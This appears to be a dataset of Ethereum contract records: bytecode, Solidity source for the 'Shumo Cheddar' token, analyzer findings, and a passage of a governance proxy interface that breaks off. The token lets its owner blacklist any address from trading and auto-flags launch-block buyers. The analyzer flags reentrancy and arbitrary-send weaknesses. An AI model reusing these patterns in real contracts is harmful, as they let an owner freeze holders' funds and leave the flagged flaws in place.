0160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031681565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156107ac5760405162461bcd60e51b8152600401808060200182810382526025815260200180610b696025913960400191505060405180910390fd5b6107b93385858403610843565b5060019392505050565b600061044e33848461092f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001546001600160a01b031681565b6000546001600160a01b0316331461082157600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108885760405162461bcd60e51b8152600401808060200182810382526024815260200180610b456024913960400191505060405180910390fd5b6001600160a01b0382166108cd5760405162461bcd60e51b8152600401808060200182810382526022815260200180610ab06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109745760405162461bcd60e51b8152600401808060200182810382526025815260200180610b206025913960400191505060405180910390fd5b6001600160a01b0382166109b95760405162461bcd60e51b8152600401808060200182810382526023815260200180610a8d6023913960400191505060405180910390fd5b6109c4838383610a87565b6001600160a01b03831660009081526002602052604090205481811015610a1c5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ad26026913960400191505060405180910390fd5b6001600160a01b0380851660008181526002602090815260408083208787039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220db00302d011ff2369d8b65a9bd641374b360a27c0e721440cd2874af533d13f964736f6c63430007030033
{"success": true, "error": null, "results": {}}
5,882
0x4e1903e2a0f77aa4cba040c1df37bc7c345ad505
/** *Submitted for verification at Etherscan.io on 2022-02-16 */ //https://t.me/shumochedda // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SHUMOCHEDDA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shumo Cheddar"; string private constant _symbol = "SHUMOCHEDDA"; uint private constant _decimals = 9; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setSnipper(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fb578063cf0848f714610410578063cf9d4afa14610430578063dd62ed3e14610450578063e6ec64ec14610496578063f2fde38b146104b657600080fd5b8063715018a61461032a5780638da5cb5b1461033f57806390d49b9d1461036757806395d89b411461038757806399468008146103bb578063a9059cbb146103db57600080fd5b806331c2d8471161010857806331c2d847146102435780633bbac57914610263578063437823ec1461029c578063476343ee146102bc5780635342acb4146102d157806370a082311461030a57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101ba57806318160ddd146101ea57806323b872dd1461020f578063313ce5671461022f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d6565b005b34801561017e57600080fd5b5060408051808201909152600d81526c29b43ab6b79021b432b23230b960991b60208201525b6040516101b191906118f3565b60405180910390f35b3480156101c657600080fd5b506101da6101d536600461196d565b610522565b60405190151581526020016101b1565b3480156101f657600080fd5b50678ac7230489e800005b6040519081526020016101b1565b34801561021b57600080fd5b506101da61022a366004611999565b610539565b34801561023b57600080fd5b506009610201565b34801561024f57600080fd5b5061017061025e3660046119f0565b6105a2565b34801561026f57600080fd5b506101da61027e366004611ab5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a857600080fd5b506101706102b7366004611ab5565b610638565b3480156102c857600080fd5b50610170610686565b3480156102dd57600080fd5b506101da6102ec366004611ab5565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031657600080fd5b50610201610325366004611ab5565b6106c0565b34801561033657600080fd5b506101706106e2565b34801561034b57600080fd5b506000546040516001600160a01b0390911681526020016101b1565b34801561037357600080fd5b50610170610382366004611ab5565b610718565b34801561039357600080fd5b5060408051808201909152600b81526a5348554d4f43484544444160a81b60208201526101a4565b3480156103c757600080fd5b506101706103d63660046119f0565b610792565b3480156103e757600080fd5b506101da6103f636600461196d565b6108ab565b34801561040757600080fd5b506101706108b8565b34801561041c57600080fd5b5061017061042b366004611ab5565b61096f565b34801561043c57600080fd5b5061017061044b366004611ab5565b6109ba565b34801561045c57600080fd5b5061020161046b366004611ad2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a257600080fd5b506101706104b1366004611b0b565b610c15565b3480156104c257600080fd5b506101706104d1366004611ab5565b610c8b565b6000546001600160a01b031633146105095760405162461bcd60e51b815260040161050090611b24565b60405180910390fd5b6000610514306106c0565b905061051f81610d23565b50565b600061052f338484610e9d565b5060015b92915050565b6000610546848484610fc1565b610598843361059385604051806060016040528060288152602001611c9f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113dc565b610e9d565b5060019392505050565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161050090611b24565b60005b8151811015610634576000600560008484815181106105f0576105f0611b59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611b85565b9150506105cf565b5050565b6000546001600160a01b031633146106625760405162461bcd60e51b815260040161050090611b24565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610634573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053390611416565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161050090611b24565b610716600061149a565b565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161050090611b24565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260040161050090611b24565b60005b815181101561063457600c5482516001600160a01b03909116908390839081106107eb576107eb611b59565b60200260200101516001600160a01b03161415801561083c5750600b5482516001600160a01b039091169083908390811061082857610828611b59565b60200260200101516001600160a01b031614155b156108995760016005600084848151811061085957610859611b59565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a381611b85565b9150506107bf565b600061052f338484610fc1565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161050090611b24565b600c54600160a01b900460ff166109465760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610500565b600c805460ff60b81b1916600160b81b17905542600d81905561096a90603c611ba0565b600e55565b6000546001600160a01b031633146109995760405162461bcd60e51b815260040161050090611b24565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e45760405162461bcd60e51b815260040161050090611b24565b600c54600160a01b900460ff1615610a4c5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610500565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac79190611bb8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b389190611bb8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190611bb8565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b815260040161050090611b24565b600f811115610c865760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610500565b600855565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161050090611b24565b6001600160a01b038116610d1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610500565b61051f8161149a565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6b57610d6b611b59565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190611bb8565b81600181518110610dfb57610dfb611b59565b6001600160a01b039283166020918202929092010152600b54610e219130911684610e9d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5a908590600090869030904290600401611bd5565b600060405180830381600087803b158015610e7457600080fd5b505af1158015610e88573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610500565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610500565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610500565b6001600160a01b0382166110875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610500565b600081116110e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610500565b6001600160a01b03831660009081526005602052604090205460ff16156111915760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610500565b6001600160a01b03831660009081526004602052604081205460ff161580156111d357506001600160a01b03831660009081526004602052604090205460ff16155b80156111e95750600c54600160a81b900460ff16155b80156112195750600c546001600160a01b03858116911614806112195750600c546001600160a01b038481169116145b156113ca57600c54600160b81b900460ff166112775760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610500565b50600c546001906001600160a01b0385811691161480156112a65750600b546001600160a01b03848116911614155b80156112b3575042600e54115b156112fa5760006112c3846106c0565b90506112e360646112dd678ac7230489e8000060036114ea565b90611569565b6112ed84836115ab565b11156112f857600080fd5b505b600d54421415611328576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611333306106c0565b600c54909150600160b01b900460ff1615801561135e5750600c546001600160a01b03868116911614155b156113c85780156113c857600c54611392906064906112dd90600f9061138c906001600160a01b03166106c0565b906114ea565b8111156113bf57600c546113bc906064906112dd90600f9061138c906001600160a01b03166106c0565b90505b6113c881610d23565b505b6113d68484848461160a565b50505050565b600081848411156114005760405162461bcd60e51b815260040161050091906118f3565b50600061140d8486611c46565b95945050505050565b600060065482111561147d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610500565b600061148761170d565b90506114938382611569565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f957506000610533565b60006115058385611c5d565b9050826115128583611c7c565b146114935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610500565b600061149383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611730565b6000806115b88385611ba0565b9050838110156114935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610500565b80806116185761161861175e565b6000806000806116278761177a565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165490856117c1565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168390846115ab565b6001600160a01b0389166000908152600160205260409020556116a581611803565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ea91815260200190565b60405180910390a3505050508061170657611706600954600855565b5050505050565b600080600061171a61184d565b90925090506117298282611569565b9250505090565b600081836117515760405162461bcd60e51b815260040161050091906118f3565b50600061140d8486611c7c565b60006008541161176d57600080fd5b6008805460095560009055565b60008060008060008061178f8760085461188d565b91509150600061179d61170d565b90506000806117ad8a85856118ba565b909b909a5094985092965092945050505050565b600061149383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113dc565b600061180d61170d565b9050600061181b83836114ea565b3060009081526001602052604090205490915061183890826115ab565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118688282611569565b82101561188457505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a060646112dd87876114ea565b905060006118ae86836117c1565b96919550909350505050565b600080806118c886856114ea565b905060006118d686866114ea565b905060006118e483836117c1565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192057858101830151858201604001528201611904565b81811115611932576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051f57600080fd5b803561196881611948565b919050565b6000806040838503121561198057600080fd5b823561198b81611948565b946020939093013593505050565b6000806000606084860312156119ae57600080fd5b83356119b981611948565b925060208401356119c981611948565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0357600080fd5b823567ffffffffffffffff80821115611a1b57600080fd5b818501915085601f830112611a2f57600080fd5b813581811115611a4157611a416119da565b8060051b604051601f19603f83011681018181108582111715611a6657611a666119da565b604052918252848201925083810185019188831115611a8457600080fd5b938501935b82851015611aa957611a9a8561195d565b84529385019392850192611a89565b98975050505050505050565b600060208284031215611ac757600080fd5b813561149381611948565b60008060408385031215611ae557600080fd5b8235611af081611948565b91506020830135611b0081611948565b809150509250929050565b600060208284031215611b1d57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9957611b99611b6f565b5060010190565b60008219821115611bb357611bb3611b6f565b500190565b600060208284031215611bca57600080fd5b815161149381611948565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c255784516001600160a01b031683529383019391830191600101611c00565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5857611c58611b6f565b500390565b6000816000190483118215151615611c7757611c77611b6f565b500290565b600082611c9957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1e46360afbda1e33c11afbf92d47fad7925b2da8a3da8efc6118272c004a1c464736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,883
0x59876c7a2e76419f8b2b47dae1324b2de0fa6952
pragma solidity 0.6.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IMVDFunctionalitiesManager { function getProxy() external view returns (address); function setProxy() external; function init(address sourceLocation, uint256 getMinimumBlockNumberSourceLocationId, address getMinimumBlockNumberFunctionalityAddress, uint256 getEmergencyMinimumBlockNumberSourceLocationId, address getEmergencyMinimumBlockNumberFunctionalityAddress, uint256 getEmergencySurveyStakingSourceLocationId, address getEmergencySurveyStakingFunctionalityAddress, uint256 checkVoteResultSourceLocationId, address checkVoteResultFunctionalityAddress) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender, uint256 position) external; function removeFunctionality(string calldata codeName) external returns(bool removed, uint256 position); function isValidFunctionality(address functionality) external view returns(bool); function isAuthorizedFunctionality(address functionality) external view returns(bool); function setCallingContext(address location) external returns(bool); function clearCallingContext() external; function getFunctionalityData(string calldata codeName) external view returns(address, uint256, string memory, address, uint256); function hasFunctionality(string calldata codeName) external view returns(bool); function getFunctionalitiesAmount() external view returns(uint256); function functionalitiesToJSON() external view returns(string memory); function functionalitiesToJSON(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityNames() external view returns(string memory); function functionalityNames(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityToJSON(string calldata codeName) external view returns(string memory); function preConditionCheck(string calldata codeName, bytes calldata data, uint8 submitable, address sender, uint256 value) external view returns(address location, bytes memory payload); function setupFunctionality(address proposalAddress) external returns (bool); } interface IMVDFunctionalityProposal { function init(string calldata codeName, address location, string calldata methodSignature, string calldata returnAbiParametersArray, string calldata replaces, address proxy) external; function setCollateralData(bool emergency, address sourceLocation, uint256 sourceLocationId, bool submitable, bool isInternal, bool needsSender, address proposer, uint256 votesHardCap) external; function getProxy() external view returns(address); function getCodeName() external view returns(string memory); function isEmergency() external view returns(bool); function getSourceLocation() external view returns(address); function getSourceLocationId() external view returns(uint256); function getLocation() external view returns(address); function isSubmitable() external view returns(bool); function getMethodSignature() external view returns(string memory); function getReturnAbiParametersArray() external view returns(string memory); function isInternal() external view returns(bool); function needsSender() external view returns(bool); function getReplaces() external view returns(string memory); function getProposer() external view returns(address); function getSurveyEndBlock() external view returns(uint256); function getSurveyDuration() external view returns(uint256); function isVotesHardCapReached() external view returns(bool); function getVotesHardCapToReach() external view returns(uint256); function toJSON() external view returns(string memory); function getVote(address addr) external view returns(uint256 accept, uint256 refuse); function getVotes() external view returns(uint256, uint256); function start() external; function disable() external; function isDisabled() external view returns(bool); function isTerminated() external view returns(bool); function accept(uint256 amount) external; function retireAccept(uint256 amount) external; function moveToAccept(uint256 amount) external; function refuse(uint256 amount) external; function retireRefuse(uint256 amount) external; function moveToRefuse(uint256 amount) external; function retireAll() external; function withdraw() external; function terminate() external; function set() external; event Accept(address indexed voter, uint256 amount); event RetireAccept(address indexed voter, uint256 amount); event MoveToAccept(address indexed voter, uint256 amount); event Refuse(address indexed voter, uint256 amount); event RetireRefuse(address indexed voter, uint256 amount); event MoveToRefuse(address indexed voter, uint256 amount); event RetireAll(address indexed voter, uint256 amount); } interface IMVDProxy { function init(address votingTokenAddress, address functionalityProposalManagerAddress, address stateHolderAddress, address functionalityModelsManagerAddress, address functionalitiesManagerAddress, address walletAddress) external; function getDelegates() external view returns(address,address,address,address,address,address); function getToken() external view returns(address); function getMVDFunctionalityProposalManagerAddress() external view returns(address); function getStateHolderAddress() external view returns(address); function getMVDFunctionalityModelsManagerAddress() external view returns(address); function getMVDFunctionalitiesManagerAddress() external view returns(address); function getMVDWalletAddress() external view returns(address); function setDelegate(uint256 position, address newAddress) external returns(address oldAddress); function changeProxy(address newAddress, bytes calldata initPayload) external; function isValidProposal(address proposal) external view returns (bool); function isAuthorizedFunctionality(address functionality) external view returns(bool); function newProposal(string calldata codeName, bool emergency, address sourceLocation, uint256 sourceLocationId, address location, bool 